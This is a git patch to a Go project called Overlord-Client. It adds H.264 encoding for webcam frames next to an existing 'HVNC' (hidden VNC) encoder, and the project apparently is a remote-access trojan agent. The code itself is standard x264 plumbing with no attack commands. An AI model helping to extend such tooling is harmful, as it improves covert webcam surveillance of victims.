From 88c18ecc7851c0ad04270a421637db88470a38bb Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 21 May 2026 21:26:55 -0500 Subject: [PATCH] fix webcam too just in case --- .../cmd/agent/capture/h264_encoder_stub.go | 4 + .../cmd/agent/capture/h264_encoder_x264.go | 79 +++++++++++++++++++ .../cmd/agent/capture/webcam_windows.go | 2 +- 3 files changed, 84 insertions(+), 1 deletion(-) diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go index 9de504b..b182445 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_stub.go @@ -27,4 +27,8 @@ func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) { return nil, errors.New("h264 support not available (cgo disabled)") } +func encodeH264FrameWebcam(_ *image.RGBA) ([]byte, error) { + return nil, errors.New("h264 support not available (cgo disabled)") +} + func SetH264TargetFPS(_ int) {} diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go index abcd682..3f7c6b0 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_x264.go @@ -221,3 +221,82 @@ func closeHVNCH264EncoderLocked() { hvncH264FPS = 0 hvncH264Buf.Reset() } + +var ( + webcamH264Mu sync.Mutex + webcamH264Enc *x264.Encoder + webcamH264Buf bytes.Buffer + webcamH264Width int + webcamH264Height int + webcamH264FPS int + webcamH264Scratch []byte +) + +func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) { + bounds := img.Bounds() + width := bounds.Dx() + height := bounds.Dy() + + webcamH264Mu.Lock() + defer webcamH264Mu.Unlock() + + if err := ensureWebcamH264EncoderLocked(width, height); err != nil { + return nil, err + } + + webcamH264Buf.Reset() + if err := webcamH264Enc.Encode(img); err != nil { + return nil, err + } + + n := webcamH264Buf.Len() + if n == 0 { + return nil, nil + } + if cap(webcamH264Scratch) < n { + webcamH264Scratch = make([]byte, n, n+(n/4)) + } else { + webcamH264Scratch = webcamH264Scratch[:n] + } + copy(webcamH264Scratch, webcamH264Buf.Bytes()) + return webcamH264Scratch, nil +} + +func ensureWebcamH264EncoderLocked(width, height int) error { + fps := activeH264FPS() + if webcamH264Enc != nil && webcamH264Width == width && webcamH264Height == height && webcamH264FPS == fps { + return nil + } + closeWebcamH264EncoderLocked() + opts := &x264.Options{ + Width: width, + Height: height, + FrameRate: fps, + Tune: "zerolatency", + Preset: "veryfast", + Profile: "main", + RateControl: "crf", + RateConstant: 23, + LogLevel: x264.LogError, + } + enc, err := x264.NewEncoder(&webcamH264Buf, opts) + if err != nil { + return err + } + webcamH264Enc = enc + webcamH264Width = width + webcamH264Height = height + webcamH264FPS = fps + return nil +} + +func closeWebcamH264EncoderLocked() { + if webcamH264Enc != nil { + _ = webcamH264Enc.Close() + webcamH264Enc = nil + } + webcamH264Width = 0 + webcamH264Height = 0 + webcamH264FPS = 0 + webcamH264Buf.Reset() +} diff --git a/Overlord-Client/cmd/agent/capture/webcam_windows.go b/Overlord-Client/cmd/agent/capture/webcam_windows.go index 32770c0..47a7c84 100644 --- a/Overlord-Client/cmd/agent/capture/webcam_windows.go +++ b/Overlord-Client/cmd/agent/capture/webcam_windows.go @@ -135,7 +135,7 @@ func NowWebcam(ctx context.Context, env *rt.Env) error { log.Printf("webcam: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", w, h) } else { rgba := toRGBA(img) - if h264Bytes, err := encodeH264Frame(rgba); err == nil && len(h264Bytes) > 0 { + if h264Bytes, err := encodeH264FrameWebcam(rgba); err == nil && len(h264Bytes) > 0 { frameBytes = h264Bytes outFormat = "h264" } else {